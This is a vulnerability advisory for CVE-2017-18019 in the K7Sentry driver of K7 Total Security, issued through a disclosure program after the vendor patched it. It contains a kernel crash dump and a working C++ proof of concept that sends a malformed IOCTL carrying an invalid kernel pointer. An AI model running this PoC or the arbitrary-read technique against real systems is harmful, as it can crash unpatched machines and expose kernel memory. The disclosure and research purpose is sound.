SSD Advisory – K7 Total Security Device Driver Arbitrary Memory Read

Vulnerability Summary
The following advisory describes an Crash found in K7 Total Security.
Credit
An independent security researcher, Kyriakos Economou aka @kyREcon, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
K7 has released patches to address this vulnerability – K7TotalSecurity version 15.1.0.305
CVE: CVE-2017-18019

Vulnerability details
User controlled input to K7Sentry device is not sufficiently sanitized, the user controlled input can be used to compare an arbitrary memory address with a fixed value which in turn can be used to read the content of arbitrary memory.
Crash report
By sending invalid kernel pointer we can crash the K7 Total Security process as shown here:

1: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except,
it must be protected by a Probe.  Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: f8f8f8f8, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 88c93a63, If non-zero, the instruction address which referenced the bad memory
	address.
Arg4: 00000002, (reserved)
Debugging Details:
------------------
*************************************************************************
***                                                                   ***
***                                                                   ***
***    Your debugger is not using the correct symbols                 ***
***                                                                   ***
***    In order for this command to work properly, your symbol path   ***
***    must point to .pdb files that have full type information.      ***
***                                                                   ***
***    Certain .pdb files (such as the public OS symbols) do not      ***
***    contain the required information.  Contact the group that      ***
***    provided you with these symbols if you need this command to    ***
***    work.                                                          ***
***                                                                   ***
***    Type referenced: kernel32!pNlsUserInfo                         ***
***                                                                   ***
*************************************************************************
*************************************************************************
***                                                                   ***
***                                                                   ***
***    Your debugger is not using the correct symbols                 ***
***                                                                   ***
***    In order for this command to work properly, your symbol path   ***
***    must point to .pdb files that have full type information.      ***
***                                                                   ***
***    Certain .pdb files (such as the public OS symbols) do not      ***
***    contain the required information.  Contact the group that      ***
***    provided you with these symbols if you need this command to    ***
***    work.                                                          ***
***                                                                   ***
***    Type referenced: kernel32!pNlsUserInfo                         ***
***                                                                   ***
*************************************************************************
READ_ADDRESS:  f8f8f8f8
FAULTING_IP:
K7Sentry+a63
88c93a63 80384b          cmp     byte ptr [eax],4Bh
MM_INTERNAL_CODE:  2
IMAGE_NAME:  K7Sentry.sys
DEBUG_FLR_IMAGE_TIMESTAMP:  54eda273
MODULE_NAME: K7Sentry
FAULTING_MODULE: 88c93000 K7Sentry
DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT
BUGCHECK_STR:  0x50
PROCESS_NAME:  poc.exey_0x950
CURRENT_IRQL:  2
TRAP_FRAME:  9a15ba14 -- (.trap 0xffffffff9a15ba14)
ErrCode = 00000000
eax=f8f8f8f8 ebx=001ffea0 ecx=00000000 edx=001ffe90 esi=9a15bac0 edi=00000010
eip=88c93a63 esp=9a15ba88 ebp=9a15badc iopl=0         nv up ei ng nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010386
K7Sentry+0xa63:
88c93a63 80384b          cmp     byte ptr [eax],4Bh         ds:0023:f8f8f8f8=??
Resetting default scope
LAST_CONTROL_TRANSFER:  from 82aebe67 to 82a879d8
STACK_TEXT:
9a15b564 82aebe67 00000003 bf4bd6ad 00000065 nt!RtlpBreakWithStatusInstruction
9a15b5b4 82aec965 00000003 c0603e38 f8f8f8f8 nt!KiBugCheckDebugBreak+0x1c
9a15b978 82a9a9c5 00000050 f8f8f8f8 00000000 nt!KeBugCheck2+0x68b
9a15b9fc 82a4cf98 00000000 f8f8f8f8 00000000 nt!MmAccessFault+0x104
9a15b9fc 88c93a63 00000000 f8f8f8f8 00000000 nt!KiTrap0E+0xdc
WARNING: Stack unwind information not available. Following frames may be wrong.
9a15badc 82a43129 84a6c1f8 84d9fc30 84d9fc30 K7Sentry+0xa63
9a15baf4 82c3b7af 00000000 84d9fc30 84d9fca0 nt!IofCallDriver+0x63
9a15bb14 82c3eafe 84a6c1f8 84cdcd80 00000000 nt!IopSynchronousServiceTail+0x1f8
9a15bbd0 82c85ac2 00000028 84d9fc30 00000000 nt!IopXxxControlFile+0x810
9a15bc04 82a49db6 00000028 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
9a15bc04 76f16c74 00000028 00000000 00000000 nt!KiSystemServicePostCall
001ffdc8 76f1542c 7504ab4d 00000028 00000000 ntdll!KiFastSystemCallRet
001ffdcc 7504ab4d 00000028 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc
001ffe2c 767fbbc5 00000028 9500286b 001ffe90 KERNELBASE!DeviceIoControl+0xf6
001ffe58 00f51e42 00000028 9500286b 001ffe90 kernel32!DeviceIoControlImplementation+0x80
001ffec4 00f57500 00000001 002a31b0 002a32c0 poc!wmain+0xe2 [e:\k7_2016\k7sentry_0x9500286b_win7_poc\k7sentry_0x9500286b\main.cpp @ 31]
001fff0c 767fef8c 7ffd7000 001fff58 76f3367a poc!__tmainCRTStartup+0xfe [f:\dd\vctools\crt\crtw32\startup\crt0.c @ 255]
001fff18 76f3367a 7ffd7000 76ec24f9 00000000 kernel32!BaseThreadInitThunk+0xe
001fff58 76f3364d 00f5757d 7ffd7000 00000000 ntdll!__RtlUserThreadStart+0x70
001fff70 00000000 00f5757d 7ffd7000 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND:  kb
FOLLOWUP_IP:
K7Sentry+a63
88c93a63 80384b          cmp     byte ptr [eax],4Bh

Proof of Concept
The PoC has been tested on Windows 7 x86

#include <Windows.h>
#include <iostream>
using namespace std;
int wmain()
{
	HANDLE hDevice = CreateFileW(L"\\\\.\\K7Sentry", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
	if(hDevice == INVALID_HANDLE_VALUE)
	{
		cout << endl << "Failed accessing K7Sentry Device Driver. Error: " << dec << GetLastError() << endl;
		cin.get();
	    return 0;
	}
	BYTE dummyBuf[0x20];
	memset(dummyBuf, 0, sizeof(dummyBuf));
	*(ULONG_PTR*)dummyBuf = 0xF8F8F8F8; //INVALID KERNEL POINTER TO TRIGGER PAGE FAULT POC.
	cout << endl << "Sending malformed IOCTL..." << endl;
	DWORD bytesReturned = 0;
	DeviceIoControl(hDevice, 0x9500286B, dummyBuf, sizeof(dummyBuf), dummyBuf, sizeof(dummyBuf), &bytesReturned, NULL);
	cin.get();
	return 0;
}